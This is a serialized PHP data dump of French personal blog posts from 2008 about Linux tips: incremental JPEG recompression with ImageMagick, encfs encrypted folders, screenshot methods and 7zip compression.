machine:/répertoire si distant/répertoire si localEnsuite, vous pouvez lancer le script de temps en temps, manuellement (ce que je fais) ou programmé (la nuit ?).
";s:7:"dateiso";s:15:"20080828_210700";}s:15:"20080827_184500";a:7:{s:5:"title";s:58:"Recompresser ses photos en masse de manière incrémentale";s:4:"link";s:86:"http://blog.rom1v.com/2008/08/recompresser-ses-photos-en-masse-de-maniere-incrementale";s:4:"guid";s:86:"http://blog.rom1v.com/2008/08/recompresser-ses-photos-en-masse-de-maniere-incrementale";s:7:"pubDate";s:25:"2008-08-27T18:45:00+02:00";s:11:"description";s:0:"";s:7:"content";s:4649:"Mon appareil photo possède 3 réglages de “qualité” (niveau de compression JPEG) :
Mais lorsque l’on choisit un réglage, les photos font à peu près toutes la même taille, qu’elles soient simples ou complexes. Par exemple, en réglage fin, leur taille est quasiment toujours comprise entre 2,8Mio et 2,9Mio.
Or, une photo uniforme devrait prendre beaucoup moins de place qu’une photo très complexe, avec beaucoup de contours.
D’ailleurs, on s’en rend compte lorsqu’on recompresse ces photos sur un ordinateur :

Sur cette capture d’écran, les photos contenues à la racine (les 5 dernières) sont les photos originales, prises par l’appareil photo.
Les photos contenues
dans les répertoires convertXX sont les photos converties avec :
convert image.jpg -quality XX convertXX/image.jpg
(imagemagick doit être installé)
On se rend compte que les photos ont une taille beaucoup plus variable, ce qui est une bonne chose. Sur l’ensemble de mes albums, j’ai des photos à 500Kio et d’autres à 1,8Mio : c’est la qualité finale de la photo qui est prise en compte, et non la taille à atteindre.
J’ai donc décidé de prendre les photos en qualité maximale sur l’appareil photo, et de les recompresser à l’importation.
J’utilise digiKam pour gérer mes photos, qui possède une fonctionnalité pour
recompresser les photos (utilisant exacement le même algorithme que
imagemagick).
Le problème, c’est que je veux éviter, par inattention, de recompresser plusieurs fois les mêmes photos (perte de qualité inutile). Par exemple, lorsqu’on importe les photos d’une carte mémoire, qu’on les recompresse, puis qu’on importe les photos d’une seconde carte mémoire, difficile de différencier les photos déjà recompressées des autres (pour les photos se trouvant dans le même dossier).
J’ai donc écrit un petit script, qui garde dans un fichier la liste des photos déjà recompressées, et qui compresse toutes celles qui ne sont pas présentes dans le fichier.
Ainsi, après une importation de photos, j’exécute le script, seules les nouvelles seront recompressés.
#!/bin/sh
#
# Mogrifie tous les fichiers jpeg non encore mogrifiés (recompressés en jpeg)
#
# le fichier "mogrified" doit exister, si ce n'est pas le cas, faire
# touch mogrified" avant de lancer le script
if [ ! -f mogrified ]
then
echo 'mogrified file not found.'
exit 1
fi
# liste tous les fichiers .jpg dans les répertoires décrivant une année
# (2005, 2006...)
find -iname '*.jpg' | grep ^./20 | sort > filelist &&
# supprime de cette liste tous les fichiers déjà mogrifiés
comm -23 filelist mogrified |
while read photo
do
# mogrifie ces fichiers
echo "$photo"
mogrify -quality 90 "$photo"
done
# les fichiers mogrifiés sont maintenant les fichiers de la liste complète
mv filelist mogrifiedL’outil mogrify fait la même chose que convert, sauf qu’il modifie le
fichier sur place (et écrase donc la source).
Cela permet d’avoir un très bon rapport qualité/taille, sans provoquer des pertes visibles sur les photos très complexes, ni utiliser de l’espace inutilement sur les photos simples.
";s:7:"dateiso";s:15:"20080827_184500";}s:15:"20080827_175700";a:7:{s:5:"title";s:46:"encfs : répertoire chiffré par mot de passe";s:4:"link";s:71:"http://blog.rom1v.com/2008/08/encfs-repertoire-chiffre-par-mot-de-passe";s:4:"guid";s:71:"http://blog.rom1v.com/2008/08/encfs-repertoire-chiffre-par-mot-de-passe";s:7:"pubDate";s:25:"2008-08-27T17:57:00+02:00";s:11:"description";s:0:"";s:7:"content";s:4918:"Ce billet présente comment avoir un (ou plusieurs) répertoire(s) chiffré(s).
Tout d’abord, il faut installer encfs.
Si l’on souhaite que le répertoire chiffré soit ~/.encrypted et que celui
déchiffré soit ~/decrypted :
encfs ~/.encrypted ~/decrypted
Voici ce que ça donne :
$ encfs ~/.encrypted ~/decrypted
Le répertoire "/home/rom/.encrypted/" n'existe pas. Faut-il le créer ? (y/n) y
Le répertoire "/home/rom/decrypted" n'existe pas. Faut-il le créer ? (y/n) y
Création du nouveau volume encrypté.
Veuillez choisir l'une des options suivantes :
entrez "x" pour le mode de configuration expert,
entrez "p" pour le mode paranoïaque préconfiguré,
toute autre entrée ou une ligne vide sélectionnera le mode normal.
?> p
Configuration paranoïaque sélectionnée.
Configuration terminée. Le système de fichier à créer a les propriétés
suivantes :
Chiffrement de système de fichiers "ssl/aes", version 2:1:1
Encodage de fichier "nameio/block", version 3:0:1
Taille de clé : 256 bits
Taille de bloc : 512 octets, y compris 8 octets d'en-tête MAC.
Chaque fichier contient un en-tête de 8 octets avec des données IV uniques.
Noms de fichier encodés à l'aide du mode de chaînage IV.
Les données IV du fichier sont chaînées à celles du nom de fichier
-------------------------- AVERTISSEMENT --------------------------
The external initialization-vector chaining option has been
enabled. This option disables the use of hard links on the
filesystem. Without hard links, some programs may not work.
The programs 'mutt' and 'procmail' are known to fail. For
more information, please see the encfs mailing list.
If you would like to choose another configuration setting,
please press CTRL-C now to abort and start over.
Vous devez entrer un mot de passe pour votre système de fichiers.
Vous devez vous en souvenir, car il n'existe aucun mécanisme de récupération.
Toutefois, le mot de passe peut être changé plus tard à l'aide d'encfsctl.
Nouveau mot de passe :
Vérifier le mot de passe :
On rentre le mot de passe de chiffrement.
Ensuite, pour monter (même commande que pour créer) :
encfs ~/.encrypted ~/decrypted
Tout ce qui sera écrit dans ~/decrypted sera écrit en chiffré dans
~/.encrypted.
$ echo bonjour > decrypted/unfichier
$ ls -l decrypted
total 4
-rw-r--r-- 1 rom rom 11 2008-08-22 13:58 unfichier
$ ls -l .encrypted/
total 4
-rw-r--r-- 1 rom rom 27 2008-08-22 13:58 InNjH,-h8EnvvfC28k5oUji1
Pour démonter :
fusermount -u ~/decrypted
Après le démontage, les données chiffrées ne sont plus accessibles en clair :)
Et pour éviter d’avoir à taper des commandes, voici un petit script qui permet de demander le mot de passe, de monter le répertoire décrypté, et d’ouvrir une fenêtre permettant, lorsqu’on la ferme, de démonter le répertoire :
#!/bin/sh
encrypted_folder=/home/rom/.encrypted
decrypted_folder=/home/rom/decrypted
gksudo -p -m "Mot de passe de déchiffrement" |
encfs -S "$encrypted_folder" "$decrypted_folder" &&
zenity --info --title='encfs'
--text='Cliquez sur valider pour démonter le dossier déchiffré' &&
fusermount -u "$decrypted_folder"zenity doit être installé.
Il suffit alors de mettre un lanceur sur le bureau/dans la barre pour monter facilement le répertoire chiffré.
Il y a également d’autres outils plus complets (avec icône dans le systray…).
Plus d’infos sur la doc d’ubuntu-fr.
La prochaine version d’ubuntu (Ubuntu 8.10 Intrepid Ibex, prévue le 30 octobre 2008) devrait proposer dès l’installation l’utilisation d’un répertoire chiffré.
EDIT (astuce) : Pour utiliser rsync avec un répertoire chiffré, utilisez
l’option -c.
Voici une présentation de SSH que j’ai faite à l’Ubuntu-Party de juin 2008 :

La méthode la plus simple consiste à appuyer sur ImprÉcran.
Cela ouvre une fenêtre dans lequelle on peut choisir la destination :

En appuyant sur Alt+ImprÉcran, il est possible de capturer uniquement la fenêtre active :

Cette méthode est simple, mais elle ne permet pas de faire une sélection arbitraire ni de définir un délai (ce qui empêche donc de faire une capture lorsque le cube est en rotation, ou lorsqu’un menu contextuel est ouvert).
Cette méthode est en fait la même que la #1, car c’est le même programme qui est
lancé (gnome-screenshot), sauf qu’au lieu d’être lancé par ImprÉcran, il
est lancé manuellement :

L’avantage, c’est que plus d’options sont disponibles, notamment le délai :

L’option « inclure la bordure de la fenêtre » ne fonctionne que si on n’utilise pas de gestionnaire de bureau composite (compiz).
Gimp propose également la capture d’écran : Fichier → Acquisition → Capture d’écran.

Cette fenêtre offre toutes les options intéressantes. La capture effectuée s’ouvre ensuite dans Gimp, il suffit de sauver le fichier. Cette méthode est pratique lorsqu’on veut retourcher la capture (flouter certaines zones…), ou capturer une région de l’écran avec délai (on attend d’abord le délai, puis on sélectionne, ça permet de rendre active la fenêtre qu’on veut pour le screenshot par exemple). Par contre un inconvénient peut être que Gimp pourrait apparaître à l’écran (dans la barre des tâches), selon la zone capturée.
C’est la méthode la plus rapide. Elle nécessite compiz et l’activation du plug-in screenshots (dans Extras).
Une fois activé, il suffit de faire toucheWindows+clicGauche pour dessiner un rectangle translucide sur l’écran, et cette zone sera capturée.
L’image sera sauvée dans le répertoire prédéfini, par défaut dans ~/Desktop.
Attention, ce répertoire peut ne pas exister, si par exemple votre bureau se
trouve dans ~/Bureau. Pensez donc à changer le répertoire utilisé pour les
screenshots.

Voilà, je trouve que c’est utile de connaître toutes ces méthodes, ça permet de choisir celle adaptée selon le cas.
Voici un petit tableau récapitulatif :
╭───────┬─────────┬────────────┬───────┬─────────────┬─────────────╮
│ plein │ fenêtre │ sélection │ délai │ choix │ 1 ou 2 │
│ écran │ active │ arbitraire │ │ destination │ actions max │
╭──┼───────┼─────────┼────────────┼───────┼─────────────┼─────────────┤
│#1│ ✔ │ ✔ │ ✘ │ ✘ │ ✔ │ ✔ │
├──┼───────┼─────────┼────────────┼───────┼─────────────┼─────────────┤
│#2│ ✔ │ ✔ │ ✘ │ ✔ │ ✔ │ ✘ │
├──┼───────┼─────────┼────────────┼───────┼─────────────┼─────────────┤
│#3│ ✔ │ ✔ │ ✔ │ ✔ │ ✔ │ ✘ │
├──┼───────┼─────────┼────────────┼───────┼─────────────┼─────────────┤
│#4│ ✘ │ ✘ │ ✔ │ ✘ │ ✘ │ ✔ │
╰──┴───────┴─────────┴────────────┴───────┴─────────────┴─────────────╯
Vous pouvez maintenant optimiser les images png et les uploader sur un hébergeur pour les poster sur un forum.
";s:7:"dateiso";s:15:"20080827_110300";}s:15:"20080827_083000";a:7:{s:5:"title";s:50:"Le format de compression 7zip : impressionnant !";s:4:"link";s:74:"http://blog.rom1v.com/2008/08/le-format-de-compression-7zip-impressionnant";s:4:"guid";s:74:"http://blog.rom1v.com/2008/08/le-format-de-compression-7zip-impressionnant";s:7:"pubDate";s:25:"2008-08-27T08:30:00+02:00";s:11:"description";s:0:"";s:7:"content";s:1769:"J’en avais déjà entendu parler, je l’ai déjà utilisé juste comme ça, mais vraiment il mérite d’être connu ce format 7z.
J’ai voulu compresser un dossier de 1.1Go (différents types de fichiers), je
l’ai testé en .tar.gz, .tar.bz2 et en .7z :
.tar.gz : 776Mio.tar.bz2 : 768Mio.7z : 412MioLa compression .tar.gz est la plus rapide, .7z est plus lent, mais la
différence de ratio est impressionnante.
Un journal datant de septembre 2006 en parle.
Il suffit d’installer le paquet p7zip(pour le .7z) ou p7zip-full (pour
gérer d’autres formats en plus, comme rar, etc.).
N’en installez qu’un des deux, sinon vous aurez 2 fois l’entrée .7z dans le
gestionnaire d’archives.
Pour compresser :
7zr a archive.7z fichier1 fichier2 …
Pour décompresser :
7zr e archive.7z
Si c’est le paquet p7zip-full au lieu de p7zip, c’est 7z au lieu de 7zr.
Une fois installé, le format est géré dans le gestionnaire d’archives.
Espérons que ce paquet soit installé par défaut dans Ubuntu 8.10 (car sinon
ce n’est pas facile de poster des .7z, il faut dire aux gens d’installer un
logiciel en plus).
J’ai fait une demande sur launchpad en ce sens.
";s:7:"dateiso";s:15:"20080827_083000";}s:15:"20080827_080000";a:7:{s:5:"title";s:26:"Ça y'est, j'ai un blog !";s:4:"link";s:49:"http://blog.rom1v.com/2008/08/ca-yest-jai-un-blog";s:4:"guid";s:49:"http://blog.rom1v.com/2008/08/ca-yest-jai-un-blog";s:7:"pubDate";s:25:"2008-08-27T08:00:00+02:00";s:11:"description";s:0:"";s:7:"content";s:450:"Salut à tous,
Je me suis enfin décidé à créer un blog, pour parler quasi-exclusivement d’informatique, de GNU/Linux et de logiciels libres en particulier (j’utilise Ubuntu 8.04.1).
Ça m’évitera de flooder les forums (qui me servaient déjà de blog ^^), et surtout ça m’évitera de rechercher comment j’avais fait tel truc un an auparavant… je saurais où chercher !
Bienvenue sur ®om’s blog :)
";s:7:"dateiso";s:15:"20080827_080000";}}